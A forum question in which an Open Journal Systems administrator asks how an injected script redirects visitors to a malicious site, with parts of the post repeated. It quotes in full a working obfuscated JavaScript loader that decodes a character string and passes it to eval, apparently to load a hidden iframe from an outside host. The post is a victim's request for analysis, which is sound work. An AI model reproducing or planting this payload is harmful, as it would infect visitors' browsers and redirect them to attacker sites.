lolekbolek
asked on
Need help analyzing a malicious script
We run OJS (Open Journal Systems) on Windows 2003 server with PHP 5, MySQL and Apache 2.2. Recently, a few web pages got corrupted. When users log into the site to submit/edit articles, and click on a link for "Notifications", they are brought to a page with an address like this: http://mydomain.com/journals/index.php/myjournal/notification and their antivirus software tells them that the page redirects them to a dangerous website.
The page's source has the following snippet included right on top, before the HTML header:
Here is the index.php that is listed in the URL above:
I have tried a few antivirus programs, and while some of them detected viruses like the VirTool:JS/Obfuscator.W(v) trojan, but now they report the system as clean, but the problem is still there.
I want to understand the mechanism behind this. How is the the malicious script inserted into a web page and how does it instruct the browser to go to a malicious web site? The script has to be decrypted, but is is done on my machine or elsewhere?
The page's source has the following snippet included right on top, before the HTML header:
<script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';} n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~59.5~57.5~51.5~56~49.5~56~58.5~49.5~48~48~22~51.5~48~51.5~60~22~48.5~48.5~22.5~30.5~50.5~54.5~29.5~24~18.5~15~58.5~51.5~49~57~51~29.5~18.5~23.5~23~18.5~15~51~49.5~51.5~50.5~51~57~29.5~18.5~23.5~23~18.5~15~56.5~57~59.5~53~49.5~29.5~18.5~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~28~51~51.5~49~49~49.5~54~28.5~55~54.5~56.5~51.5~57~51.5~54.5~54~28~47.5~48~56.5~54.5~53~57.5~57~49.5~28.5~53~49.5~50~57~28~23~28.5~57~54.5~55~28~23~28.5~18.5~30~29~22.5~51.5~50~56~47.5~53.5~49.5~30~16~19.5~28.5~5.5~3.5~3.5~61.5~5.5~3.5~3.5~50~57.5~54~48.5~57~51.5~54.5~54~15~51.5~50~56~47.5~53.5~49.5~56~19~19.5~60.5~5.5~3.5~3.5~3.5~58~47.5~56~15~50~15~29.5~15~49~54.5~48.5~57.5~53.5~49.5~54~57~22~48.5~56~49.5~47.5~57~49.5~33.5~53~49.5~53.5~49.5~54~57~19~18.5~51.5~50~56~47.5~53.5~49.5~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~56.5~56~48.5~18.5~21~18.5~51~57~57~55~28~22.5~22.5~59.5~57.5~51.5~56~49.5~56~58.5~49.5~48~48~22~51.5~48~51.5~60~22~48.5~48.5~22.5~30.5~50.5~54.5~29.5~24~18.5~19.5~28.5~50~22~56.5~57~59.5~53~49.5~22~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~29.5~18.5~51~51.5~49~49~49.5~54~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~55~54.5~56.5~51.5~57~51.5~54.5~54~29.5~18.5~47.5~48~56.5~54.5~53~57.5~57~49.5~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~53~49.5~50~57~29.5~18.5~23~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~57~54.5~55~29.5~18.5~23~18.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~58.5~51.5~49~57~51~18.5~21~18.5~23.5~23~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~51~49.5~51.5~50.5~51~57~18.5~21~18.5~23.5~23~18.5~19.5~28.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~22~47.5~55~55~49.5~54~49~32.5~51~51.5~53~49~19~50~19.5~28.5~5.5~3.5~3.5~61.5".split("a~".substr(1));for(i=0;i!=571;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</script>
Here is the index.php that is listed in the URL above:
<?php
* @file index.php
*
*
* Bootstrap code for OJS site. Loads required files and then calls the
* dispatcher to delegate to the appropriate request handler.
*/
// $Id$
// Initialize global environment
define('INDEX_FILE_LOCATIO<wbr ></wbr>N', __FILE__);
require('./lib/pkp/include<wbr ></wbr>s/bootstra<wbr ></wbr>p.inc.php'<wbr ></wbr>);
// Serve the request
$application =& PKPApplication::getApplica<wbr ></wbr>tion();
$application->execute();
?>
I have tried a few antivirus programs, and while some of them detected viruses like the VirTool:JS/Obfuscator.W(v)
I want to understand the mechanism behind this. How is the the malicious script inserted into a web page and how does it instruct the browser to go to a malicious web site? The script has to be decrypted, but is is done on my machine or elsewhere?
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